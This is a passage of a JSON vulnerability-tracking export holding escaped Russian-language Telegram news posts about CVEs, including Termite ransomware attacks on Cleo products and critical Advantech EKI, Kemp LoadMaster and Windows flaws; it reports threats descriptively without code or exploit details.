\u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0441 \u0446\u0435\u043b\u044c\u044e \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u044f\u0441\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u0438 \u0431\u0430\u043d\u0434\u0430 Termite \u0441\u0432\u043e\u044e ransomware \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0438\u043b\u0438 \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0440\u0430\u0434\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b \u043d\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0437\u0430\u044f\u0432\u0438\u043b, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u043d\u043e\u0432\u044b\u043c \u043f\u0430\u0442\u0447\u0435\u043c.\n\n\u0412 \u0432\u0438\u0434\u0443 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u043e\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0447\u0430\u0441\u0442\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, Cleo \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0435, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u0430\u0442\u0447.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u043e\u043b\u0435\u0435 500 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Cleo \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0432\u043e\u043b\u043d\u044b \u0430\u0442\u0430\u043a Termite.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b - \u044d\u0442\u043e \u043d\u043e\u0432\u0438\u0447\u043e\u043a \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 ramsonware.\n\n\u0411\u0430\u043d\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0432\u043e\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u0438 \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0441\u0435\u0431\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430\u00a0\u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u041f\u041e BlueYonder, \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u044b \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Sainsbury's, Morrisons, Starbucks \u0438 \u0434\u0440.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Huntress Labs, \u0434\u043e \u0430\u0442\u0430\u043a\u0438 Blue Yonder \u0438\u043c\u0435\u043b\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Cleo, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u043c\u043e\u0433 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0432 \u0441\u0435\u0442\u044c.\n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-12-11T11:00:07.000000Z"}, {"uuid": "c1f0f15a-555b-4ec4-87cb-5913c7b5430c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50375", "type": "seen", "source": "https://t.me/true_secator/6491", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u0441\u043a\u043e\u0432 \u043c\u0430\u044f\u043a\u0438 \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u043b\u0435\u043f\u043b\u044f\u044f \u043a\u0430\u043a \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Advanced Driver-Assistance Systems (ADAS) \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044f \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u043e\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0443\u0442\u043e\u043a \u0438\u0437-\u0437\u0430 \u0440\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0434\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u0435\u0440\u044b \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.\n\n2. SSD Disclosure \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 TyphoonPWN 2024 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e Microsoft \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0430 \u0435\u0435 \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u043e\u043c, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 11.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Source Incite \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u044c\u044e, \u043e\u0441\u0432\u0435\u0449\u0430\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE.\n\n4. ERNW \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 command injection, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 Kemp LoadMaster \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-7591 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438\u00a010/10.\n\n5. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u0435 Microsoft Partner. Microsoft \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u041a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Nozomi Networks \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Advantech EKI, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n6 \u0438\u0437 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u043e\u0442 CVE-2024-50370 \u0434\u043e CVE-2024-50375 \u0441 CVSS: 9,8) \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430, \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438 \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 Linux \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 CVE-2024-50376 (CVSS: 7,3) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-50359 (CVSS: 7,2) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u043e \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n7. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Jenkins \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0432\u0443\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.", "creation_timestamp": "2024-11-29T17:20:05.000000Z"}, {"uuid": "e85f81f6-734b-44f1-a3f5-d0ee7ff90a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50370", "type": "seen", "source": "https://t.me/true_secator/6491", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u0441\u043a\u043e\u0432 \u043c\u0430\u044f\u043a\u0438 \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u043b\u0435\u043f\u043b\u044f\u044f \u043a\u0430\u043a \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Advanced Driver-Assistance Systems (ADAS) \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044f \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u043e\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0443\u0442\u043e\u043a \u0438\u0437-\u0437\u0430 \u0440\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0434\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u0435\u0440\u044b \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.\n\n2. SSD Disclosure \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 TyphoonPWN 2024 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e Microsoft \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0430 \u0435\u0435 \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u043e\u043c, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 11.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Source Incite \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u044c\u044e, \u043e\u0441\u0432\u0435\u0449\u0430\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE.\n\n4. ERNW \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 command injection, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 Kemp LoadMaster \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-7591 \u0438 